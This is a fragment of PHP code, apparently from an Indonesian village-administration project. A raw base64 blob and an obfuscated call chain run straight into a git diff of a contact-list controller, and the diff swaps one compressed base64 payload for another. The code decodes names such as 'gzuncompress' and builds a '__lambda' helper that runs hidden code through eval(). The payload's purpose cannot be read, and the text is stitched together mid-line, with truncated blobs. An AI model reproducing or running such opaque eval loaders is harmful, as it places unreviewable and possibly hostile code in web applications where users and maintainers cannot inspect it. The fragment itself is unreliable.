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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Daftar_kontak.php b/donjo-app/controllers/Daftar_kontak.php index 74b217ca5..70210928a 100644 --- a/donjo-app/controllers/Daftar_kontak.php +++ b/donjo-app/controllers/Daftar_kontak.php @@ -260,7 +260,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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